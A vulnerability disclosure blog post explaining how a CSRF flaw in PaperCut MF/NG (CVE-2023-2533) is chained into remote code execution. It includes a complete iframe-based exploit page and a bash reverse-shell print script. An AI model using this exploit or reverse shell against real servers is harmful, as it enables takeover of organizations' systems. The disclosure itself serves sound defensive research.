Tabla de contenidos

Title
Title
Tabla de contenidos
Tabla de contenidos
Tabla de contenidos
Title
Title
Title

Ataques

RCE in PaperCut MF/NG via CSRF: What is invisible to some hackers is visible to others

Carlos Bello

Investigador de seguridad

Actualizado

24 jul 2023

10 min

Lately, several critical-severity vulnerabilities have been reported in PaperCut, a software widely used by companies to manage their network printers. So, determined not to be left behind and, of course, brimming with curiosity, I decided to venture into this software to see what I could find.

After almost two weeks of research, I managed to detect a CSRF in the core of that application, which, after being cleverly exploited, allowed me to reach a remote code execution (RCE). Below, I will explain in detail this security issue labeled as CVE-2023-2533.

Where is this vulnerability?

When I tried to perform a CSRF attack on the application, I noticed that some requests had an Anti-CSRF token and some did not. However, the backend was analyzing the origin header to know whether a request was cross-origin or not. This seemed impossible to hack. However, I came up with the idea to change the request from POST to GET, and guess what...? It worked. We can now perform CSRF attacks on some application endpoints (those that don't have an Anti-CSRF token).

Analyzing the administrative interface

We already know we can persuade users to perform malicious actions from their sessions. However, in this case, what malicious actions are we going to request from the victim, and what permissions does the victim have? A clear target is the instance administrator. So, I dedicated myself to analyzing in depth the functionalities available to such a user.

Before starting the audit, I had read a Horizon3 paper regarding CVE-2023-27350. In it, I found that they had achieved remote code execution through print scripting. So, the latest version of PaperCut was v20.0.10, in which some additional security measures were taken regarding print scripting.

On the one hand, the possibility of using print scripting and device scripting was disabled by default:

On the other hand, using a sandbox for print scripting and device scripting was enabled by default. The use of a sandbox makes it impossible to use Java classes in scripts and does not allow us to execute server-side commands:


Fortunately, the requests to change the system configuration (to enable scripting and disable the sandbox) and the request to upload the print script did not have an Anti-CSRF token. Therefore, with the CSRF I had, I was able to do all these requests without any problem.

Finally, I needed to see how to execute commands through print scripts. After a few minutes, I discovered that the following script gave me a reverse shell:

function printJobHook(inputs, actions) {
 with (new JavaImporter(java.lang)) {
 var processBuilder = new ProcessBuilder("bash", "-c", "$@| bash -i >& /dev/tcp/localhost/7777 0>&1");
    var process = processBuilder.start();
  }
}

Talking about problems

While writing the exploit, I noticed the requests to change the system configuration were a bit strange. To better understand what I'm going to explain, I'll show you what the configuration editor looks like:

PaperCut configuration 1PaperCut configuration 2

As you can see in the first image, there's a pagination on the right side when the search field is empty. But, as shown in the second image, the pagination disappears when the search field is not empty. Developing a script to interact with a site would typically be pretty straightforward. Still, the PaperCut web application uses dynamic form fields based on the last request, complicating the process somewhat.

The solution was to send a request with an empty search field to retrieve the pagination. Then, I had to send another request indicating the page I wanted to visit and, afterward, the settings I desired to edit.

Exploit

The previous paragraph may be puzzling. That's why I wrote the exploit as clearly as possible so that you can understand the solution when you read it.

Pwncut.html

<!DOCTYPE html>
<html>
 <body>
 <script>
 //Reset the configuration editor search field
 const resetSearchField = 'http://localhost:9191/app?service=direct%2F1%2FConfigEditor%2FquickFindForm&sp=S0&Form0=%24TextField%2CdoQuickFind%2Cclear&%24TextField=&doQuickFind=Continuar';
 //Set Page 21
 const setPage21 = 'http://localhost:9191/app?service=direct/1/ConfigEditor/table.tablePages.linkPage&sp=AConfigEditor%2Ftable.tableView&sp=21';
 //Enable Print Script (print-and-device.script.enabled -> Y)
 const enablePrintScript = 'http://localhost:9191/app?service=direct%2F1%2FConfigEditor%2F%24Form&sp=S1&Form1=%24TextField%240%2C%24Submit%2C%24Submit%240%2C%24TextField%240%240%2C%24Submit%241%2C%24Submit%240%240%2C%24TextField%240%241%2C%24Submit%242%2C%24Submit%240%241%2C%24TextField%240%242%2C%24Submit%243%2C%24Submit%240%242%2C%24TextField%240%243%2C%24Submit%244%2C%24Submit%240%243%2C%24TextField%240%244%2C%24Submit%245%2C%24Submit%240%244%2C%24TextField%240%245%2C%24Submit%246%2C%24Submit%240%245%2C%24TextField%240%246%2C%24Submit%247%2C%24Submit%240%246%2C%24TextField%240%247%2C%24Submit%248%2C%24Submit%240%247%2C%24TextField%240%248%2C%24Submit%249%2C%24Submit%240%248%2C%24MaskedTextField%2C%24Submit%2410%2C%24Submit%240%249%2C%24TextField%240%249%2C%24Submit%2411%2C%24Submit%240%2410%2C%24TextField%240%2410%2C%24Submit%2412%2C%24Submit%240%2411%2C%24TextField%240%2411%2C%24Submit%2413%2C%24Submit%240%2412%2C%24TextField%240%2412%2C%24Submit%2414%2C%24Submit%240%2413%2C%24TextField%240%2413%2C%24Submit%2415%2C%24Submit%240%2414%2C%24TextField%240%2414%2C%24Submit%2416%2C%24Submit%240%2415%2C%24TextField%240%2415%2C%24Submit%2417%2C%24Submit%240%2416%2C%24TextField%240%2416%2C%24Submit%2418%2C%24Submit%240%2417%2C%24TextField%240%2417%2C%24Submit%2419%2C%24Submit%240%2418%2C%24TextField%240%2418%2C%24Submit%2420%2C%24Submit%240%2419%2C%24TextField%240%2419%2C%24Submit%2421%2C%24Submit%240%2420%2C%24TextField%240%2420%2C%24Submit%2422%2C%24Submit%240%2421%2C%24TextField%240%2421%2C%24Submit%2423%2C%24Submit%240%2422&%24TextField%240=Failed+to+send+your+scanned+fax+document&%24TextField%240%240=Y&%24TextField%240%241=Your+scanned+document+is+too+big%3A%25files%25You+can+try+reducing+the+scanned+document+size+by+using+a+lower+resolution%2C+or+switching+color+mode+to+grayscale+or+black+and+white.+Alternatively%2C+you+can+try+splitting+your+job.If+you+need+to+send+a+larger+scanned+document%2C+please+contact+your+system+administrator.&%24TextField%240%242=Y&%24TextField%240%243=Y&%24TextField%240%244=Failed+to+send+your+scanned+document&%24TextField%240%245=300&%24TextField%240%246=N&%24TextField%240%247=N&%24TextField%240%248=NONE&%24MaskedTextField=&%24TextField%240%249=25&%24TextField%240%2410=DEFAULT&%24TextField%240%2411=&%24TextField%240%2412=&%24TextField%240%2413=Y&%24TextField%240%2414=N&%24TextField%240%2415=&%24TextField%240%2416=0&%24TextField%240%2417=N&%24TextField%240%2418=Y&%24Submit%2420=Actualizar&%24TextField%240%2419=30&%24TextField%240%2420=&%24TextField%240%2421=';
 //Set Page 22
 const setPage22 = 'http://localhost:9191/app?service=direct/1/ConfigEditor/table.tablePages.linkPage&sp=AConfigEditor%2Ftable.tableView&sp=22';
 //Disable Print Script Sandbox (print.script.sandboxed -> N)
 const disableSandbox = 'http://localhost:9191/app?service=direct%2F1%2FConfigEditor%2F%24Form&sp=S1&Form1=%24TextField%240%2C%24Submit%2C%24Submit%240%2C%24TextField%240%240%2C%24Submit%241%2C%24Submit%240%240%2C%24TextField%240%241%2C%24Submit%242%2C%24Submit%240%241%2C%24TextField%240%242%2C%24Submit%243%2C%24Submit%240%242%2C%24TextField%240%243%2C%24Submit%244%2C%24Submit%240%243%2C%24TextField%240%244%2C%24Submit%245%2C%24Submit%240%244%2C%24TextField%240%245%2C%24Submit%246%2C%24Submit%240%245%2C%24TextField%240%246%2C%24Submit%247%2C%24Submit%240%246%2C%24TextField%240%247%2C%24Submit%248%2C%24Submit%240%247%2C%24TextField%240%248%2C%24Submit%249%2C%24Submit%240%248%2C%24TextField%240%249%2C%24Submit%2410%2C%24Submit%240%249%2C%24TextField%240%2410%2C%24Submit%2411%2C%24Submit%240%2410%2C%24TextField%240%2411%2C%24Submit%2412%2C%24Submit%240%2411%2C%24TextField%240%2412%2C%24Submit%2413%2C%24Submit%240%2412%2C%24TextField%240%2413%2C%24Submit%2414%2C%24Submit%240%2413%2C%24TextField%240%2414%2C%24Submit%2415%2C%24Submit%240%2414%2C%24TextField%240%2415%2C%24Submit%2416%2C%24Submit%240%2415%2C%24TextField%240%2416%2C%24Submit%2417%2C%24Submit%240%2416%2C%24TextField%240%2417%2C%24Submit%2418%2C%24Submit%240%2417%2C%24TextField%240%2418%2C%24Submit%2419%2C%24Submit%240%2418%2C%24TextField%240%2419%2C%24Submit%2420%2C%24Submit%240%2419%2C%24TextField%240%2420%2C%24Submit%2421%2C%24Submit%240%2420%2C%24TextField%240%2421%2C%24Submit%2422%2C%24Submit%240%2421%2C%24TextField%240%2422%2C%24Submit%2423%2C%24Submit%240%2422%2C%24TextField%240%2423%2C%24Submit%2424%2C%24Submit%240%2423&%24TextField%240=DEFAULT&%24TextField%240%240=Y&%24TextField%240%241=DEFAULT&%24TextField%240%242=DEFAULT&%24TextField%240%243=Y&%24TextField%240%244=1440&%24TextField%240%245=&%24TextField%240%246=-1&%24TextField%240%247=40&%24TextField%240%248=20&%24TextField%240%249=2&%24TextField%240%2410=-1&%24TextField%240%2411=3.0&%24TextField%240%2412=DEFAULT&%24TextField%240%2413=DEFAULT&%24TextField%240%2414=-1&%24TextField%240%2415=N&%24Submit%2416=Actualizar&%24TextField%240%2416=0&%24TextField%240%2417=&%24TextField%240%2418=N&%24TextField%240%2419=1683262800000%2C0.0&%24TextField%240%2420=1683262800000%2C1&%24TextField%240%2421=1683262800000%2C1&%24TextField%240%2422=1683262800000%2C1&%24TextField%240%2423=1683262800000%2C1';
 //Inject Shell in PaperCut MF/NG
 var injectShell = 'http://localhost:9191/app?service=direct%2F1%2FPrinterDetails%2F%24PrinterDetailsScript.%24Form&sp=S0&Form0=printerId%2CenablePrintScript%2CscriptBody%2C%24Submit%2C%24Submit%240%2C%24Submit%241&printerId=PRINTERID&enablePrintScript=on&scriptBody=function+printJobHook%28inputs%2C+actions%29+%7B%0D%0A++with+%28new+JavaImporter%28java.lang%29%29+%7B%0D%0A++++var+processBuilder+%3D+new+ProcessBuilder%28%22bash%22%2C+%22-c%22%2C+%22%24%40%7C+bash+-i+%3E%26+%2Fdev%2Ftcp%2Flocalhost%2F7777+0%3E%261%22%29%3B%0D%0A++++var+process+%3D+processBuilder.start%28%29%3B%0D%0A++%7D%0D%0A%7D%0D%0A%0D%0A&%24Submit%241=Aplicar';

 async function loadIframes() {
 await loadIframe(resetSearchField);
 await sleep(1000);
 await loadIframe(setPage21);
 await sleep(1000);
 await loadIframe(enablePrintScript);
 await sleep(1000);
 await loadIframe(setPage22);
 await sleep(1000);
 await loadIframe(disableSandbox);
 await sleep(1000);
 for (let printer_id = 1002; printer_id <= 1024; printer_id++) {
 //It is not necessary to prefix the letter "l" in the post application
 injectShell = injectShell.replace("PRINTERID", printer_id)
 await loadIframe(injectShell);
 }

 function loadIframe(url) {
 return new Promise((resolve) => {
 const iframe = document.createElement('iframe');
 iframe.src = url;
 iframe.style.display = 'none';
 iframe.onload = () => {
 resolve();
 };
 document.body.appendChild(iframe);
 });
 }

 function sleep(ms) {
 return new Promise((resolve) => setTimeout(resolve, ms));
 }
 }
 loadIframes();
 </script>
 </body>
</html>

The previous exploit performs several CSRF attacks:

  1. Clears the configuration editor search field

  2. Moves the user to page 21

  3. Enables print script on the server

  4. Moves the user to page 22

  5. Disables the sandbox for print script

  6. Injects the reverse shell into the scripting section of the first 22 printers on the network, whether or not they exist. This increases the chance that a user will print a document to an infected printer and thus trigger the reverse shell. Organizations often have many printers on their network, so reducing the possibility of a user printing a document to an uninfected printer is a good idea.

Since CSRF is GET-based, several hidden iframes can be used to perform all the necessary authenticated CSRF attacks from the same HTML page. This is great, isn't it?

Exploitation

Given the above, if an administrator visits a malicious page, this will enable the print script and disable the sandbox for the print script, making it possible for an attacker to set up a script that uses Java classes to execute system commands.

Conclusion

A simple bug can trigger devastating consequences, such as remote code execution on a server. The case presented in this post is a clear example of how a sufficiently creative exploit can elevate the impact and criticality of a vulnerability: a CSRF was turned into a 1-click RCE.

At Fluid Attacks, we continuously search for security vulnerabilities in software. You can secure your applications by starting the 21-day free trial of our automated security testing. Upgrade at any time to include assessments by our team of ethical hackers.

Get started with Fluid Attacks' PTaaS right now

Etiquetas:

vulnerabilidad

hacking

exploit

software

codigo

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

SOC 2 Type II

SOC 3

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

SOC 2 Type II

SOC 3

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

SOC 2 Type II

SOC 3

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Nos vemos en RSA Conference™ 2025 en el booth N-4204.

Agenda una demo on-site

Nos vemos en RSA Conference™ 2025 en el booth N-4204.

Agenda una demo on-site